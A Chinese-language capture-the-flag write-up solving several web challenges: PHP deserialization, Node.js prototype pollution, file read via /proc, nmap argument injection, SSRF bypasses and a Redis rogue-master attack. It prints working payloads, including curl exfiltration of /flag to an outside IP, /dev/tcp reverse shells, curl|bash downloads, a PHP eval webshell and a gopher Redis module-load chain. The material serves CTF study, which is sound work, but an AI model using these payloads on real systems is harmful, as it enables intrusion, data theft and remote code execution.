[网鼎杯 2020 青龙组]AreUSerialz 题目直接给了源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include ("flag.php" ); highlight_file(__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process ( ) { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res ); } else { $this ->output("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string )$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res ) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } }function is_valid ($s ) { for ($i = 0 ; $i < strlen($s ); $i ++) if (!(ord($s [$i ]) >= 32 && ord($s [$i ]) <= 125 )) return false ; return true ; }if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid($str )) { $obj = unserialize($str ); } }
逻辑比较简单,分析一下就是用op
的值控制是读还是写的操作,这里直接想到的是读flag.php,这里有两个点要绕过。第一个就是
is_valid
函数限制序列化protected
时产生的0x00,还有一个是__destruct()
函数判断op===2
使op为1是写入操作,同时让content为空字符,这样就写了个寂寞。
解法一: 利用php>7.1版本时对于public
protected
并不敏感,序列化时可直接用public
,让op
等于数字2,强弱类型比较不解释了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class FileHandler { public $op ; public $filename ; public $content ; function __construct ( ) { $this ->op = 2 ; $this ->filename = "flag.php" ; $this ->content = "Hello World!" ; } }$a = new FileHandler();$demo = serialize($a );echo $demo ;
解法二: 将protected
序列化出来的s变成S,ascii空字符改成十六进制\00即可
看了看wp,似乎buu这个环境和当时比赛时也不一样,当时还需要读路径,因为apache
配置下destruct函数在执行时就不在本目录了,这个可以参考https://blog.csdn.net/fwkjdaghappy1/article/details/7631475,用相对路径对不出来flag,想要获取绝对路径,可以通过读取,/proc/self/cmdline,然后可以知道配置文件路径 /web/config/httpd.conf。
NOTES 审计源码edit_not
路由存在写入操作
app.route('/edit_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to edit a note" }); }) .post(function (req, res ) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess' , {message : "edit note sucess" }); } else { res.render('mess' , {message : "edit note failed" }); } })
写入操作用的是undersafe,存在原型链污染,再往下看发现执行命令的地方
edit_note (id, author, raw ) { undefsafe(this .note_list, id + '.author' , author); undefsafe(this .note_list, id + '.raw_note' , raw); }
执行系统命令在输出,这里将污染commands字典来执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 app.route('/status' ) .get(function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec(commands[index], {shell :'/bin/bash' }, (err, stdout, stderr ) => { if (err) { return ; } console .log(`stdout: ${stdout} ` ); }); } res.send('OK' ); res.end(); })
令command多了一个键值对 author:系统命令,遍历时自动执行 /edit_note post传参 id=proto .bb&author=curl -F ‘flag=@/flag’ 174.1.84.222:2333&raw=a 或者:id=_proto_,author=bash -i > /dev/tcp/ip/port 0>&1,raw=123 id=proto .abc&author=curl%20ip:port/shell.txt|bash&raw=a id=proto &author=cat /flag>/dev/tcp/xxxxx/7777&raw=123
这里需要用buu小号重开一个Linux Labs反弹,因为buu只能反弹shell到内网。
PicDown 打开界面看了一下get参数有url
简单试了下就出来了../../../../../../../../../flag
。。肯定不是预期解,看一下预期解。
预期解 又考了下关于进程信息的东西。参考:https://blog.csdn.net/shenhuxi_yu/article/details/79697792
在/proc 文件系统中,每一个进程都有一个相应的文件 。下面是/proc 目录下的一些重要文件 :
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。
PID一列代表了各进程的进程ID,也就是说,PID就是各进程的身份标识。/proc/self
表示当前进程目录
这里用到了/proc/self/cmdline
读取当前进程执行命令,用python2执行了app.py脚本,读取一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE)@app.route('/' ) def index (): return render_template('search.html' )@app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value)@app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return resif __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
只过滤了url参数开头不能用file协议,怪不得有非预期。在后面可以看到no_one_know_the_manager
中要匹配SECRET_KEY,然后执行shell,但是SECRET_KEY所在的secret.txt被删掉了,这里就用到了/proc/pid/fd/
读取,这个目录包含了进程打开的每一个文件的链接。爆破出secret在/proc/pid/fd/3
随后用shell参数反弹shell就行了。
NMAP 参考文章:http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd()
对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;|\*?~<>^()[]{}$, \x0A和 \xFF
。 *’* 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
定义 :string escapeshellcmd ( string $command)
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg()
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
定义 :string escapeshellarg ( string $arg )
题解 考察命令执行,和escapeshellarg
的绕过
打开界面,发现是nmap,试一下127.0.0.1正常输出扫描结果,这肯定是命令执行,试一下127.0.0.1| ls
,发现转义了|。
参考上面的文章绕过转义,这里有很多payload,注意php也被过滤了
' <?= @eval($_POST['cmd'];)> -oG pd.phtml '
127.0.0.1' -iL ../../../../flag -o 1
在线测试了一下,没问题
可以看一下源码
读flag
****
PHPWEB 抓包发现有两个参数func和p,又提示有func最开始为date函数,猜测这里可以执行函数命令,试了一下system等发现被过滤,最后尝试了半天试了下func=readfile&p=./index.php
,读到了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func($func , $p ); $a = gettype($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower($func ); if (!in_array($func ,$disable_fun )) { echo gettime($func , $p ); }else { die ("Hacker..." ); } } ?>
审计一下发现考的还是反序列化,直接exp:
<?php class Test { var $p ; var $func ; function __construct ($func , $p ) { $this ->p = $p ; $this ->func = $func ; } }$demo = new Test("system" , "ls /" );echo serialize($demo );
最后尝试了flag在/tmp/flagoefiu4r93
SSRFME 参考文章
https://zhuanlan.zhihu.com/p/147371417
https://blog.csdn.net/gqtcgq/article/details/50273431
https://xz.aliyun.com/t/5665#toc-0
https://xz.aliyun.com/t/8163#toc-7
https://xz.aliyun.com/t/5616
前言 尝试建立主从连接过程,首先在配置中修改
protected-mode 设置为no 允许外部ip访问 找到bind 127.0.0.1 注释掉,这个是redis服务绑定可访问的ip, 所以127.0.0.1之外的机器都访问不了此redis服务 firewall-cmd --zone =public --add-port =6379/tcp --permanent 开放端口 注意在服务器防火墙上也得开放端口 daemonize 设置为yes 然后启动redis-server 即可默认6379端口也可设置为其他端口
从服务器会从服务器同步数据
写入文件
原理
slaveof
(新版改为REPLICAOF
)建立后slave会向master发送PSYNC
,请求开始复制
master可以返回FULLRESYNC
,进行全量复制,然后将自己持久化的数据发给slave,正常情况下包括Replication ID
, offset
,master存储的key-value等等
slave会将这些数据保存到config中dbfilename
指定的文件(默认为dump.rdb),然后再载入。
通过伪造master,可以控制发往slave的信息,从而做到无脏数据写文件
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
因此通过FULLRESYNC写入恶意so文件,然后MODULE LOAD /path/to/mymodule.so
载入模块即可rce
题解 第一关绕过
parse_url与libcurl对url的解析差异绕过check_inner_ip函数对内网地址的判断 http://u :p@127.0 .0.1 :80 @baidu.com/hint.php 还可以用0.0 .0.0 表示ipv4下所有ip地址 http:// 0.0 .0.0 /hint.php http:// [0 :0 :0 :0 :0 :ffff:127.0 .0.1 ]// hint.php 也可以DNS Rebinding。让域名在check_inner_ip的时候为外部地址,而curl请求的时候又变成内部IP。 https:// lock.cmpxchg8b.com/rebinder.html
网上也看到很多绕过技巧
利用URL的解析问题,
利用不存在的协议头绕过指定的协议
其他各种指向127.0.0.1的地址
进制的转换绕过内网IP
利用302跳转绕过内网IP
http ://localhost/ # localhost就是代指127.0.0.1 http ://0 / # 0 在window下代表0.0.0.0 ,而在liunx下代表127.0.0.1 http ://0.0.0.0 / # 0.0.0.0 这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址http ://[0 :0 :0 :0 :0 :ffff:127.0.0.1 ]/ # 在liunx下可用,window测试了下不行http ://[::]:80 / # 在liunx下可用,window测试了下不行http ://127 。0 。0 。1 / # 用中文句号绕过http ://①②⑦.⓪.⓪.①http ://127 .1 /http ://127 .00000 .00000 .001 / # 0 的数量多一点少一点都没影响,最后还是会指向127.0.0.1
下一层源码,这里可以参考上面的文章,但考点不在这,几个payload打不通。这里可以看到有redis密码,应该是ssrf打redis。
string (1342 ) " <?php if($_SERVER ['REMOTE_ADDR']===" 127.0 .0.1 "){ highlight_file(__FILE__); } if(isset($_POST ['file'])){ file_put_contents($_POST ['file']," <?php echo 'redispass is root' ;exit ();".$_POST ['file']); } "
考点最后是redis主从复制来getshell,两个自动化脚本
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
第二个项目中打ssrf的需要根据服务器改一下ip,rce命令也可以改,由于需要绕过第一层gopher访问的ip也要改成0.0.0.0.并且将第一个项目的exp.so上传到同目录。buu小号开一个服务器,下载两个项目,生成payload,解码看一下,手动打也差不多按这个。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 gopher: $4 AUTH $4 root *3 $7 SLAVEOF $14 172.16 .152.217 $4 6666 *4 $6 CONFIG $3 SET $3 dir $5 /tmp/ *4 $6 config $3 set $10 dbfilename $6 exp.so *3 $6 MODULE $4 LOAD $11 /tmp/exp.so *2 $11 system.exec $14 cat${IFS}/flag *1 $4 quit
生成payload后再buu服务器上开启redis服务 python rogue-server.py
等待连接,回复FULLRESYNC
进行全量复制。但很奇怪没有打出来。
前面已经返回ok了,到load so文件时出错了。。。。这里卡了很久,后来发现是buu靶机上没有git命令我用xshell传上去的,可能是so文件的问题。exp.so没有成功加载到从服务器上,不知道是不是buu环境的问题。